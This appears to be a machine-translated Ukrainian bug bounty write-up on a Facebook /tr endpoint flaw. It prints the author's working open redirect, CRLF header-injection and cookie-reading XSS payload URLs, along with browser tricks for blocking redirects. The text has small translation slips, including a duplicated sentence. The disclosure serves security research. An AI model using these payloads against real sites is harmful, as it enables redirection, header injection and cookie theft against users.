Будні багхантинга: ще одна уразливість в Facebook



різноманітних програмах bug bounty, і я хотів би поділитися інформацією про одну з виявлених вразливостей. Мова піде про небезпечною обробці Request-URI Request Target). На цей раз красивою комбінацією вразливостей порадував Facebook.

Розробники звикли не довіряти даним, отриманим від користувача через параметри GET / POST / Cookie, але часто ігнорують той факт, що небезпечні дані можуть міститися і в інших частинах HTTP-запиту, наприклад, в дорозі до сценарію або path_info. Для автоматизації виявлення таких проблем був написаний невеликий плагін для Burp Suite, який прослуховує всі запити Burp Proxy і, якщо URL знаходиться в певному скоупе, повторює оригінальний запит, змінюючи тільки Request-URI.URL знаходиться в певному скоупе, повторює оригінальний запит, змінюючи тільки Request-URI.

Тобто, для запиту:
GET /foo/bar.baz?param=value HTTP/1.1
Будуть відправлені такі повтори:
GET /3fb5e7a4f814d790'"<>/%2e%2e/foo/bar.baz?param=value HTTP/1.1
GET /foo/3fb5e7a4f814d790'"<>/%2e%2e/bar.baz?param=value HTTP/1.1
GET /foo/bar.baz/3fb5e7a4f814d790'"<>/%2e%2e/?param=value HTTP/1.1
GET /foo/bar.baz/3fb5e7a4f814d790'"<>?param=value HTTP/1.1
У разі, якщо в HTTP-відповіді присутній випадкова рядок запиту або текст будь-якої помилки, то запит складається в лог, який потім розбирається вручну. В якості списку помилок можна використовувати злегка змінений список з fuzzdb.

Виглядає це все приблизно так:


Як і багато інші цікаві та несподівані проблеми, проблеми на сайті Facebook були я виявив випадково. Коли я брав участь у програмах bug bounty від Яндекса і Mail.ru на одній з відвіданих сторінок опинився запит до сценарію
https://www.facebook.com/tr
(сценарій, що відноситься до реклами для веб-сайтів). Даний запит було успішно перевірений плагіном і в лог потрапила запис про виведення Request-URI у HTTP-відповідь.
GET /test/%2e%2e/tr HTTP/1.1
Host: www.facebook.com

HTTP/1.1 301 Moved Permanently
Location: /test/../tr/
В першу чергу при такій відповіді необхідно звернути увагу на наступні моменти:

1) Request-URI стоїть на початку посилання для перенаправлення, значить необхідно перевірити Open Redirect через URL без вказівки http-схеми (наприклад,
Location: //evil.com/../tr
).
2) Шлях не був нормалізований, але точки у відповіді пройшли URL-декодування, значить тут може бути CRLF Injection за рахунок декодування символів
%0d%0a
.

Перевіряємо наступні запити:
GET//////www.google.com/%2e%2e/tr HTTP/1.1
Host: www.facebook.com

HTTP/1.1 301 Moved Permanently
Location: /www.google.com/../tr/
Facebook успішно урізає початкові «/» до одного, але так як ми маємо URL-декодування, це легко обходиться наступним чином (багато веб-сервери вкрай недолюблюють використання URL-кодованих «/» в дорозі, але в цей раз пощастило):
GET /%2fwww.google.com/%2e%2e/tr HTTP/1.1
Host: www.facebook.com

HTTP/1.1 301 Moved Permanently
Location: //www.google.com/../tr/
Для того щоб браузер не нормалізував шлях і не вирізав додану конструкцію при відправленні запиту, необхідно закодувати також і решта «/». В результаті отримано перший варіант експлуатації виявленої уразливості.

Open Redirect:
https://www.facebook.com/%2fwww.google.com%2f%2e%2e/tr


Перевіряємо припущення про наявність CRLF Injection / HTTP Response Splitting і дуже дивуємося, що на Facebook, змученому тисячами багхантеров, можна зустріти й таке.
GET /%0aSet-Cookie:xxx=xxx%0aX:/%2e%2e/tr HTTP/1.1
Host: www.facebook.com

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: xxx=xxx
X: /../tr/
CRLF Injection:
https://www.facebook.com/%0aSet-Cookie:xxx=xxx%0aX:%2f%2e%2e/tr


На цьому моменті я вже хотів писати звіт в Facebook, але думка про отримання заповітного alert('XSS') не давала спокою. Основна проблема була в тому, що незважаючи на можливість переписати тіло HTTP-відповіді через CRLF Injection браузер не відобразить його з-за того, що ін'єкція у відповіді c кодом 301 і коректним заголовком Location. Зі схожою проблемою зіткнувся автор статті про XSS на Хабрахабре.

Звичайно, ця CRLF Injection не даремна і її можна спробувати використовувати в комбінації з іншими уразливими типу Session Fixation або для обходу будь-яких перевірок cookie-значень… Але несподівано я пригадав, що вже задавався таким питанням два роки тому і навіть отримав деякі результати. В деяких випадках можливо заблокувати перенаправлення і відобразити тіло відповіді, зіпсувавши значення заголовка Location.

Opera <= 12 URL-схеми:
data, javascript, file, about

Довгий host:
http://aaa [....256]aaa/

Некоректний порт
http://test:0/

Некоректні символи
http://*/

Порожній заголовок
FireFox URL-схеми, які потребують стороннього додатка:
resource, mailto callto, ...

Деякі порти:
http://test:X/ (X - 1,7,9,11,13,15,17,19,20,21,22,23,25,...)

Chrome Порожній заголовок
Як можна помітити, всі знайдені методи засновані на контролі початку URL перенаправлення. Тобто якщо б заголовок Location починався з абсолютною посилання
https://www.facebook.com/
, це б повністю вбило можливість поексплуатувати XSS.

Об'єднаємо всі отримані ідеї. За рахунок Open Redirect, описаного на початку, можна вказати некоректний порт на засланні без вказівки http-схеми. Це заблокує перенаправлення і Firefox відобразить тіло HTTP-відповіді, яке, в свою чергу, можна підмінити через CRLF Injection. Також необхідно відключити X-XSS-Protection і встановити відповідні значення Content-Type і Content-Length.

І фінальний експлоїт:

https://www.facebook.com/%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie%3c/script%3e%2F..%2F..%2F..%2F../tr






Інформація за схожими темами:


Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.